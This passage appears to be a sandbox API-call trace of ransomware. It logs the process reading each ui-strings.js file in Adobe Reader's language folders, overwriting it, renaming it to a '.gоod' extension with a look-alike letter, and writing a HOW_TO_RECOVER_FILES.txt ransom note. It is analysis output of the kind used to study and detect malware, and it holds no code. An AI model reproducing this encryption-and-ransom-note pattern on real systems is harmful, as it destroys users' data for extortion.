cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0210.788] FindNextFileW (in: hFindFile=0x1ec862e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0210.788] FindClose (in: hFindFile=0x1ec862e0 | out: hFindFile=0x1ec862e0) returned 1 [0210.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0210.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0210.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0210.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0210.788] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35c64c0 | out: lpFileInformation=0x35c64c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed)) returned 1 [0210.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0210.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0210.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0210.788] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0210.788] GetFileType (hFile=0x824) returned 0x1 [0210.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0210.788] GetFileType (hFile=0x824) returned 0x1 [0210.789] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x7ed [0210.789] ReadFile (in: hFile=0x824, lpBuffer=0x35c7058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x35c7058*, lpNumberOfBytesRead=0x203eb258*=0x7ed, lpOverlapped=0x0) returned 1 [0210.790] CloseHandle (hObject=0x824) returned 1 [0211.046] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0212.202] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0212.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0212.202] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0212.203] GetFileType (hFile=0x768) returned 0x1 [0212.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0212.203] GetFileType (hFile=0x768) returned 0x1 [0212.203] WriteFile (in: hFile=0x768, lpBuffer=0x3592d80*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3592d80*, lpNumberOfBytesWritten=0x203eb168*=0x7f0, lpOverlapped=0x0) returned 1 [0212.204] CloseHandle (hObject=0x768) returned 1 [0212.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0212.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0212.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0212.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7ab17fab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0212.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0212.204] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\ui-strings.js.gоod")) returned 1 [0212.205] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0212.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0212.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0212.206] GetFileType (hFile=0x768) returned 0x1 [0212.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0212.206] GetFileType (hFile=0x768) returned 0x1 [0212.209] WriteFile (in: hFile=0x768, lpBuffer=0x35966c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x35966c0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0212.210] CloseHandle (hObject=0x768) returned 1 [0212.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0212.210] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr", lpFilePart=0x0) returned 0x77 [0212.210] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0212.211] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.211] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0212.211] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.212] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0212.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0212.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0212.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0212.212] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr", lpFilePart=0x0) returned 0x77 [0212.212] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0212.212] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.212] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0212.212] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0212.212] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0212.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0212.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0212.213] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0212.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0212.213] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35a65b8 | out: lpFileInformation=0x35a65b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x739)) returned 1 [0212.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0212.213] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0212.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0212.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0212.213] GetFileType (hFile=0x768) returned 0x1 [0212.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0212.213] GetFileType (hFile=0x768) returned 0x1 [0212.213] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x739 [0212.213] ReadFile (in: hFile=0x768, lpBuffer=0x35a70a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x35a70a0*, lpNumberOfBytesRead=0x203eb258*=0x739, lpOverlapped=0x0) returned 1 [0212.215] CloseHandle (hObject=0x768) returned 1 [0212.375] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0212.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0212.375] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0212.376] GetFileType (hFile=0x768) returned 0x1 [0212.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0212.376] GetFileType (hFile=0x768) returned 0x1 [0212.376] WriteFile (in: hFile=0x768, lpBuffer=0x3442b80*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3442b80*, lpNumberOfBytesWritten=0x203eb168*=0x740, lpOverlapped=0x0) returned 1 [0212.377] CloseHandle (hObject=0x768) returned 1 [0212.378] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0212.378] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0212.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0212.378] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7acbbaf4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0212.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0212.378] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\ui-strings.js.gоod")) returned 1 [0212.379] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0212.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0212.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ko-kr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0212.380] GetFileType (hFile=0x768) returned 0x1 [0212.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0212.380] GetFileType (hFile=0x768) returned 0x1 [0212.380] WriteFile (in: hFile=0x768, lpBuffer=0x3446490*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3446490*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0212.381] CloseHandle (hObject=0x768) returned 1 [0212.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0212.382] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no", lpFilePart=0x0) returned 0x77 [0212.382] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0213.211] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, 